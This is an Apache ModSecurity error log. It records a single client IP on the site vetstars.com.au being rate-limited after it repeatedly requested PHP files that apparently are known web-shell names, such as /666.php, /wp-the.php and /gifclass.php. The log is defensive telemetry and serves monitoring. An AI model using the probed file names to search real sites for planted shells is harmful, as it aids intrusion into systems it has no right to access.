[Thu Apr 16 19:15:27.248893 2026] [:error] [pid 49094:tid 49117] [client 172.213.0.122:5970] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tx79.php"] [unique_id "aeDEzzbDwvcXorHR_MyT5gAAAVU"]
[Thu Apr 16 19:15:27.789282 2026] [:error] [pid 29603:tid 29627] [client 172.213.0.122:29180] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tx79.php"] [unique_id "aeDEz1fGOR6fpTWUAzp0qQAAARY"]
[Thu Apr 16 19:15:28.576959 2026] [:error] [pid 57536:tid 57556] [client 172.213.0.122:29145] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/CDX2.php"] [unique_id "aeDE0CQU4faGja6jpDtGUgAAAAg"]
[Thu Apr 16 19:15:29.331593 2026] [:error] [pid 57536:tid 57553] [client 172.213.0.122:6036] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/CDX2.php"] [unique_id "aeDE0SQU4faGja6jpDtGVgAAAAU"]
[Thu Apr 16 19:15:30.257637 2026] [:error] [pid 57536:tid 57552] [client 172.213.0.122:29151] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/CDX2.php"] [unique_id "aeDE0iQU4faGja6jpDtGeQAAAAQ"]
[Thu Apr 16 19:15:31.205608 2026] [:error] [pid 49094:tid 49102] [client 172.213.0.122:29142] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/CDX2.php"] [unique_id "aeDE0zbDwvcXorHR_MyT7gAAAUY"]
[Thu Apr 16 19:15:31.762029 2026] [:error] [pid 57537:tid 57586] [client 172.213.0.122:29171] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/666.php"] [unique_id "aeDE01VQRS8nm73ENAmiYgAAAEs"]
[Thu Apr 16 19:15:32.649884 2026] [:error] [pid 7880:tid 7901] [client 172.213.0.122:29133] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/666.php"] [unique_id "aeDE1Kaezm4fSGc0yUJ-hQAAAZA"]
[Thu Apr 16 19:15:33.201766 2026] [:error] [pid 7880:tid 7888] [client 172.213.0.122:6080] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/666.php"] [unique_id "aeDE1aaezm4fSGc0yUJ-hwAAAYM"]
[Thu Apr 16 19:15:33.828552 2026] [:error] [pid 29603:tid 29611] [client 172.213.0.122:6081] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/666.php"] [unique_id "aeDE1VfGOR6fpTWUAzp0rQAAAQY"]
[Thu Apr 16 19:15:34.662936 2026] [:error] [pid 7880:tid 7902] [client 172.213.0.122:29120] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wtiiy.php"] [unique_id "aeDE1qaezm4fSGc0yUJ-jAAAAZE"]
[Thu Apr 16 19:15:41.758850 2026] [:error] [pid 49094:tid 49104] [client 172.213.0.122:29149] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wtiiy.php"] [unique_id "aeDE3TbDwvcXorHR_MyUKAAAAUg"]
[Thu Apr 16 19:15:43.385214 2026] [:error] [pid 7880:tid 7886] [client 172.213.0.122:6134] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wtiiy.php"] [unique_id "aeDE36aezm4fSGc0yUJ-lAAAAYE"]
[Thu Apr 16 19:15:44.656102 2026] [:error] [pid 57639:tid 57662] [client 172.213.0.122:29152] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wtiiy.php"] [unique_id "aeDE4KMCQoTw7TsxWulB-AAAANA"]
[Thu Apr 16 19:15:45.892370 2026] [:error] [pid 57538:tid 57611] [client 172.213.0.122:6025] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Sanskrit.php"] [unique_id "aeDE4cuMaiEF5SVR2BfEGwAAAIk"]
[Thu Apr 16 19:15:46.549953 2026] [:error] [pid 29603:tid 29626] [client 172.213.0.122:29124] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Sanskrit.php"] [unique_id "aeDE4lfGOR6fpTWUAzp0twAAARU"]
[Thu Apr 16 19:15:47.503431 2026] [:error] [pid 49094:tid 49097] [client 172.213.0.122:6064] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Sanskrit.php"] [unique_id "aeDE4zbDwvcXorHR_MyUOQAAAUE"]
[Thu Apr 16 19:15:48.344449 2026] [:error] [pid 57639:tid 57657] [client 172.213.0.122:6117] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Sanskrit.php"] [unique_id "aeDE5KMCQoTw7TsxWulCAwAAAMs"]
[Thu Apr 16 19:15:49.566902 2026] [:error] [pid 7880:tid 7895] [client 172.213.0.122:5961] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/motu.php"] [unique_id "aeDE5aaezm4fSGc0yUJ-mQAAAYo"]
[Thu Apr 16 19:15:50.483701 2026] [:error] [pid 29603:tid 29611] [client 172.213.0.122:6018] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/motu.php"] [unique_id "aeDE5lfGOR6fpTWUAzp0ugAAAQY"]
[Thu Apr 16 19:15:51.098683 2026] [:error] [pid 57536:tid 57565] [client 172.213.0.122:6072] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/motu.php"] [unique_id "aeDE5yQU4faGja6jpDtGowAAABE"]
[Thu Apr 16 19:15:51.904496 2026] [:error] [pid 57536:tid 57548] [client 172.213.0.122:29166] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/motu.php"] [unique_id "aeDE5yQU4faGja6jpDtGpAAAAAA"]
[Thu Apr 16 19:15:52.771783 2026] [:error] [pid 57536:tid 57553] [client 172.213.0.122:6128] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/amax.php"] [unique_id "aeDE6CQU4faGja6jpDtGqgAAAAU"]
[Thu Apr 16 19:15:54.121214 2026] [:error] [pid 29603:tid 29608] [client 172.213.0.122:6114] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/amax.php"] [unique_id "aeDE6lfGOR6fpTWUAzp0wwAAAQM"]
[Thu Apr 16 19:15:55.255347 2026] [:error] [pid 57639:tid 57654] [client 172.213.0.122:6120] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/amax.php"] [unique_id "aeDE66MCQoTw7TsxWulCHgAAAMg"]
[Thu Apr 16 19:15:56.782155 2026] [:error] [pid 57639:tid 57656] [client 172.213.0.122:29181] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/amax.php"] [unique_id "aeDE7KMCQoTw7TsxWulCJQAAAMo"]
[Thu Apr 16 19:16:00.329903 2026] [:error] [pid 57537:tid 57591] [client 172.213.0.122:29165] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "aeDE8FVQRS8nm73ENAmigQAAAFA"]
[Thu Apr 16 19:16:01.571378 2026] [:error] [pid 49094:tid 49111] [client 172.213.0.122:5988] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "aeDE8TbDwvcXorHR_MyUZQAAAU8"]
[Thu Apr 16 19:16:02.462830 2026] [:error] [pid 49094:tid 49120] [client 172.213.0.122:29126] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "aeDE8jbDwvcXorHR_MyUbgAAAVg"]
[Thu Apr 16 19:16:05.044038 2026] [:error] [pid 49094:tid 49113] [client 172.213.0.122:6030] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "aeDE9TbDwvcXorHR_MyUeAAAAVE"]
[Thu Apr 16 19:16:08.138179 2026] [:error] [pid 57536:tid 57554] [client 172.213.0.122:6035] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass.php"] [unique_id "aeDE-CQU4faGja6jpDtGzwAAAAY"]
[Thu Apr 16 19:16:10.033658 2026] [:error] [pid 57639:tid 57659] [client 172.213.0.122:29144] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass.php"] [unique_id "aeDE-qMCQoTw7TsxWulCSgAAAM0"]
[Thu Apr 16 19:16:14.457859 2026] [:error] [pid 57639:tid 57657] [client 172.213.0.122:6115] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass.php"] [unique_id "aeDE_qMCQoTw7TsxWulCUQAAAMs"]
[Thu Apr 16 19:16:15.568685 2026] [:error] [pid 7880:tid 7897] [client 172.213.0.122:6074] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass.php"] [unique_id "aeDE_6aezm4fSGc0yUJ-0gAAAYw"]
[Thu Apr 16 19:16:17.412934 2026] [:error] [pid 57536:tid 57561] [client 172.213.0.122:29176] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-the.php"] [unique_id "aeDFASQU4faGja6jpDtG3AAAAA0"]
[Thu Apr 16 19:17:05.003660 2026] [:error] [pid 57536:tid 57563] [client 172.213.0.122:6086] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kj.php"] [unique_id "aeDFMSQU4faGja6jpDtHTAAAAA8"]
[Thu Apr 16 19:17:05.996436 2026] [:error] [pid 57639:tid 57649] [client 172.213.0.122:29135] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kj.php"] [unique_id "aeDFMaMCQoTw7TsxWulC4gAAAMM"]
[Thu Apr 16 19:17:08.974601 2026] [:error] [pid 57536:tid 57571] [client 172.213.0.122:29183] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kj.php"] [unique_id "aeDFNCQU4faGja6jpDtHUAAAABc"]
[Thu Apr 16 19:17:10.252111 2026] [:error] [pid 57537:tid 57596] [client 172.213.0.122:6085] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kj.php"] [unique_id "aeDFNlVQRS8nm73ENAminQAAAFU"]
[Thu Apr 16 19:17:12.071412 2026] [:error] [pid 29603:tid 29607] [client 172.213.0.122:6024] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a7.php"] [unique_id "aeDFOFfGOR6fpTWUAzp1AwAAAQI"]
[Thu Apr 16 19:17:13.663680 2026] [:error] [pid 29603:tid 29623] [client 172.213.0.122:6104] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a7.php"] [unique_id "aeDFOVfGOR6fpTWUAzp1BAAAARI"]
[Thu Apr 16 19:17:15.017487 2026] [:error] [pid 57639:tid 57648] [client 172.213.0.122:6054] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a7.php"] [unique_id "aeDFO6MCQoTw7TsxWulC9gAAAMI"]
[Thu Apr 16 19:17:18.276393 2026] [:error] [pid 49094:tid 49112] [client 172.213.0.122:29170] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a7.php"] [unique_id "aeDFPjbDwvcXorHR_MyVTQAAAVA"]
[Thu Apr 16 19:17:19.104943 2026] [:error] [pid 49094:tid 49106] [client 172.213.0.122:29148] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bgymj.php"] [unique_id "aeDFPzbDwvcXorHR_MyVUQAAAUo"]
[Thu Apr 16 19:17:20.826576 2026] [:error] [pid 49094:tid 49100] [client 172.213.0.122:29150] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bgymj.php"] [unique_id "aeDFQDbDwvcXorHR_MyVVQAAAUQ"]
[Thu Apr 16 19:17:23.169105 2026] [:error] [pid 29603:tid 29609] [client 172.213.0.122:6057] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bgymj.php"] [unique_id "aeDFQ1fGOR6fpTWUAzp1EQAAAQQ"]
[Thu Apr 16 19:17:25.465330 2026] [:error] [pid 57536:tid 57558] [client 172.213.0.122:6118] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bgymj.php"] [unique_id "aeDFRSQU4faGja6jpDtHagAAAAo"]
[Thu Apr 16 19:17:27.686834 2026] [:error] [pid 57537:tid 57594] [client 172.213.0.122:29137] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lib.php"] [unique_id "aeDFR1VQRS8nm73ENAmiqQAAAFM"]
[Thu Apr 16 19:17:28.727509 2026] [:error] [pid 57639:tid 57651] [client 172.213.0.122:29178] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lib.php"] [unique_id "aeDFSKMCQoTw7TsxWulDBgAAAMU"]
[Thu Apr 16 19:17:32.320138 2026] [:error] [pid 57639:tid 57654] [client 172.213.0.122:6141] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lib.php"] [unique_id "aeDFTKMCQoTw7TsxWulDGgAAAMg"]
[Thu Apr 16 19:17:33.203530 2026] [:error] [pid 49094:tid 49113] [client 172.213.0.122:29121] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lib.php"] [unique_id "aeDFTTbDwvcXorHR_MyVYgAAAVE"]
[Thu Apr 16 19:17:34.578830 2026] [:error] [pid 57639:tid 57647] [client 172.213.0.122:6092] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bolt.php"] [unique_id "aeDFTqMCQoTw7TsxWulDIAAAAME"]
[Thu Apr 16 19:17:37.374339 2026] [:error] [pid 29603:tid 29619] [client 172.213.0.122:5996] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bolt.php"] [unique_id "aeDFUVfGOR6fpTWUAzp1GAAAAQ4"]
[Thu Apr 16 19:17:38.942898 2026] [:error] [pid 57537:tid 57583] [client 172.213.0.122:6087] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bolt.php"] [unique_id "aeDFUlVQRS8nm73ENAmiqwAAAEg"]
[Thu Apr 16 19:17:39.798698 2026] [:error] [pid 57639:tid 57649] [client 172.213.0.122:6131] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bolt.php"] [unique_id "aeDFU6MCQoTw7TsxWulDLgAAAMM"]
[Thu Apr 16 19:17:41.078565 2026] [:error] [pid 49094:tid 49114] [client 172.213.0.122:6133] [client 172.213.0.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file61.php"] [unique_id "aeDFVTbDwvcXorHR_MyViQAAAVI"]
